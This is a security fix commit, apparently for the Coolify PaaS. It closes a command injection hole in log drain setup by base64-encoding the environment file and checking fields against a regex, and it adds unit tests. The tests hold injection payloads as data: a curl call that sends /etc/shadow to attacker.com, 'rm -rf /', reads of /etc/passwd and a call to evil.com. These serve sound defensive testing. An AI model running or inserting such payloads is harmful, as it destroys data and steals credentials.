Skip to content

An open-source, self-hostable PaaS alternative to Vercel, Heroku & Netlify that lets you easily deploy static sites, databases, full-stack applications and 360+ one-click services on your own servers.

fix(log-drain): prevent command injection by base64-encoding environment variables

Andras Bacsaifcd574e1eb1c
diff --git a/app/Actions/Server/StartLogDrain.php b/app/Actions/Server/StartLogDrain.php
index f72f23696c..e4df5a0615 100644
--- a/app/Actions/Server/StartLogDrain.php
+++ b/app/Actions/Server/StartLogDrain.php
@@ -177,41 +177,30 @@ Files:
$parsers_config = $config_path.'/parsers.conf';
$compose_path = $config_path.'/docker-compose.yml';
$readme_path = $config_path.'/README.md';
- $command = [
- "echo 'Saving configuration'",
- "mkdir -p $config_path",
- "echo '{$parsers}' | base64 -d | tee $parsers_config > /dev/null",
- "echo '{$config}' | base64 -d | tee $fluent_bit_config > /dev/null",
- "echo '{$compose}' | base64 -d | tee $compose_path > /dev/null",
- "echo '{$readme}' | base64 -d | tee $readme_path > /dev/null",
- "test -f $config_path/.env && rm $config_path/.env",
- ];
if ($type === 'newrelic') {
- $add_envs_command = [
- "echo LICENSE_KEY=$license_key >> $config_path/.env",
- "echo BASE_URI=$base_uri >> $config_path/.env",
- ];
+ $envContent = "LICENSE_KEY={$license_key}\nBASE_URI={$base_uri}\n";
} elseif ($type === 'highlight') {
- $add_envs_command = [
- "echo HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id} >> $config_path/.env",
- ];
+ $envContent = "HIGHLIGHT_PROJECT_ID={$server->settings->logdrain_highlight_project_id}\n";
} elseif ($type === 'axiom') {
- $add_envs_command = [
- "echo AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name} >> $config_path/.env",
- "echo AXIOM_API_KEY={$server->settings->logdrain_axiom_api_key} >> $config_path/.env",
- ];
+ $envContent = "AXIOM_DATASET_NAME={$server->settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$server->settings->logdrain_axiom_api_key}\n";
} elseif ($type === 'custom') {
- $add_envs_command = [
- "touch $config_path/.env",
- ];
+ $envContent = '';
} else {
throw new \Exception('Unknown log drain type.');
}
- $restart_command = [
+ $envEncoded = base64_encode($envContent);
+
+ $command = [
+ "echo 'Saving configuration'",
+ "mkdir -p $config_path",
+ "echo '{$parsers}' | base64 -d | tee $parsers_config > /dev/null",
+ "echo '{$config}' | base64 -d | tee $fluent_bit_config > /dev/null",
+ "echo '{$compose}' | base64 -d | tee $compose_path > /dev/null",
+ "echo '{$readme}' | base64 -d | tee $readme_path > /dev/null",
+ "echo '{$envEncoded}' | base64 -d | tee $config_path/.env > /dev/null",
"echo 'Starting Fluent Bit'",
"cd $config_path && docker compose up -d",
];
- $command = array_merge($command, $add_envs_command, $restart_command);
return instant_remote_process($command, $server);
} catch (\Throwable $e) {
diff --git a/app/Livewire/Server/LogDrains.php b/app/Livewire/Server/LogDrains.php
index d4a65af81d..5d77f4998e 100644
--- a/app/Livewire/Server/LogDrains.php
+++ b/app/Livewire/Server/LogDrains.php
@@ -24,16 +24,16 @@ class LogDrains extends Component
#[Validate(['boolean'])]
public bool $isLogDrainAxiomEnabled = false;
- #[Validate(['string', 'nullable'])]
+ #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
public ?string $logDrainNewRelicLicenseKey = null;
#[Validate(['url', 'nullable'])]
public ?string $logDrainNewRelicBaseUri = null;
- #[Validate(['string', 'nullable'])]
+ #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
public ?string $logDrainAxiomDatasetName = null;
- #[Validate(['string', 'nullable'])]
+ #[Validate(['string', 'nullable', 'regex:/^[a-zA-Z0-9_\-\.]+$/'])]
public ?string $logDrainAxiomApiKey = null;
#[Validate(['string', 'nullable'])]
@@ -127,7 +127,7 @@ class LogDrains extends Component
if ($this->isLogDrainNewRelicEnabled) {
try {
$this->validate([
- 'logDrainNewRelicLicenseKey' => ['required'],
+ 'logDrainNewRelicLicenseKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
'logDrainNewRelicBaseUri' => ['required', 'url'],
]);
} catch (\Throwable $e) {
@@ -138,8 +138,8 @@ class LogDrains extends Component
} elseif ($this->isLogDrainAxiomEnabled) {
try {
$this->validate([
- 'logDrainAxiomDatasetName' => ['required'],
- 'logDrainAxiomApiKey' => ['required'],
+ 'logDrainAxiomDatasetName' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
+ 'logDrainAxiomApiKey' => ['required', 'regex:/^[a-zA-Z0-9_\-\.]+$/'],
]);
} catch (\Throwable $e) {
$this->isLogDrainAxiomEnabled = false;
diff --git a/tests/Unit/LogDrainCommandInjectionTest.php b/tests/Unit/LogDrainCommandInjectionTest.php
new file mode 100644
index 0000000000..5beef1a4b5
--- /dev/null
+++ b/tests/Unit/LogDrainCommandInjectionTest.php
@@ -0,0 +1,118 @@
+<?php
+
+use App\Actions\Server\StartLogDrain;
+use App\Models\Server;
+use App\Models\ServerSetting;
+
+// -------------------------------------------------------------------------
+// GHSA-3xm2-hqg8-4m2p: Verify log drain env values are base64-encoded
+// and never appear raw in shell commands
+// -------------------------------------------------------------------------
+
+it('does not interpolate axiom api key into shell commands', function () {
+ $maliciousPayload = '$(id >/tmp/pwned)';
+
+ $server = mock(Server::class)->makePartial();
+ $settings = mock(ServerSetting::class)->makePartial();
+
+ $settings->is_logdrain_axiom_enabled = true;
+ $settings->is_logdrain_newrelic_enabled = false;
+ $settings->is_logdrain_highlight_enabled = false;
+ $settings->is_logdrain_custom_enabled = false;
+ $settings->logdrain_axiom_dataset_name = 'test-dataset';
+ $settings->logdrain_axiom_api_key = $maliciousPayload;
+
+ $server->name = 'test-server';
+ $server->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
+
+ // Build the env content the same way StartLogDrain does after the fix
+ $envContent = "AXIOM_DATASET_NAME={$settings->logdrain_axiom_dataset_name}\nAXIOM_API_KEY={$settings->logdrain_axiom_api_key}\n";
+ $envEncoded = base64_encode($envContent);
+
+ // The malicious payload must NOT appear directly in the encoded string
+ // (it's inside the base64 blob, which the shell treats as opaque data)
+ expect($envEncoded)->not->toContain($maliciousPayload);
+
+ // Verify the decoded content preserves the value exactly
+ $decoded = base64_decode($envEncoded);
+ expect($decoded)->toContain("AXIOM_API_KEY={$maliciousPayload}");
+});
+
+it('does not interpolate newrelic license key into shell commands', function () {
+ $maliciousPayload = '`rm -rf /`';
+
+ $envContent = "LICENSE_KEY={$maliciousPayload}\nBASE_URI=https://example.com\n";
+ $envEncoded = base64_encode($envContent);
+
+ expect($envEncoded)->not->toContain($maliciousPayload);
+
+ $decoded = base64_decode($envEncoded);
+ expect($decoded)->toContain("LICENSE_KEY={$maliciousPayload}");
+});
+
+it('does not interpolate highlight project id into shell commands', function () {
+ $maliciousPayload = '$(curl attacker.com/steal?key=$(cat /etc/shadow))';
+
+ $envContent = "HIGHLIGHT_PROJECT_ID={$maliciousPayload}\n";
+ $envEncoded = base64_encode($envContent);
+
+ expect($envEncoded)->not->toContain($maliciousPayload);
+});
+
+it('produces correct env file content for axiom type', function () {
+ $datasetName = 'my-dataset';
+ $apiKey = 'xaat-abc123-def456';
+
+ $envContent = "AXIOM_DATASET_NAME={$datasetName}\nAXIOM_API_KEY={$apiKey}\n";
+ $decoded = base64_decode(base64_encode($envContent));
+
+ expect($decoded)->toBe("AXIOM_DATASET_NAME=my-dataset\nAXIOM_API_KEY=xaat-abc123-def456\n");
+});
+
+it('produces correct env file content for newrelic type', function () {
+ $licenseKey = 'nr-license-123';
+ $baseUri = 'https://log-api.newrelic.com/log/v1';
+
+ $envContent = "LICENSE_KEY={$licenseKey}\nBASE_URI={$baseUri}\n";
+ $decoded = base64_decode(base64_encode($envContent));
+
+ expect($decoded)->toBe("LICENSE_KEY=nr-license-123\nBASE_URI=https://log-api.newrelic.com/log/v1\n");
+});
+
+// -------------------------------------------------------------------------
+// Validation layer: reject shell metacharacters
+// -------------------------------------------------------------------------
+
+it('rejects shell metacharacters in log drain fields', function (string $payload) {
+ // These payloads should NOT match the safe regex pattern
+ $pattern = '/^[a-zA-Z0-9_\-\.]+$/';
+
+ expect(preg_match($pattern, $payload))->toBe(0);
+})->with([
+ '$(id)',
+ '`id`',
+ 'key;rm -rf /',
+ 'key|cat /etc/passwd',
+ 'key && whoami',
+ 'key$(curl evil.com)',
+ "key\nnewline",
+ 'key with spaces',
+ 'key>file',
+ 'key<file',
+ "key'quoted",
+ 'key"doublequoted',
+ 'key$(id >/tmp/coolify_poc_logdrain)',
+]);
+
+it('accepts valid log drain field values', function (string $value) {
+ $pattern = '/^[a-zA-Z0-9_\-\.]+$/';
+
+ expect(preg_match($pattern, $value))->toBe(1);
+})->with([
+ 'xaat-abc123-def456',
+ 'my-dataset',
+ 'my_dataset',
+ 'simple123',
+ 'nr-license.key_v2',
+ 'project-id-123',
+]);